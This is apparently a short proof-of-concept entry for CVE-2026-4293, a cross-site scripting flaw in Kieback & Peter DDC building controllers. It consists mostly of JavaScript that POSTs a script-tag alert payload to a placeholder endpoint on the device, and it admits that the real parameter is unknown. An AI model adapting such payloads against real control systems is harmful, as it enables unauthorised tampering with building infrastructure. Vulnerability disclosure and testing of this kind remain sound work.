CVE-2026-4293 Kieback & Peter DDC控制器跨站脚本漏洞

// Proof of Concept for CVE-2026-4293 // This example demonstrates a potential XSS payload injection. // Scenario 1: Injecting via a vulnerable parameter in the controller's web interface // Target URL structure might be: http://target-controller/config?param=[payload] const payload = '<script>alert("CVE-2026-4293 XSS")</script>'; // Simulated request to the vulnerable endpoint fetch('http://target-device/vulnerable-endpoint', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `setting=${encodeURIComponent(payload)}` }) .then(response => console.log('Payload sent, check browser for execution')) .catch(error => console.error('Error:', error)); // Note: Actual exploitation requires identifying the specific vulnerable parameter and endpoint.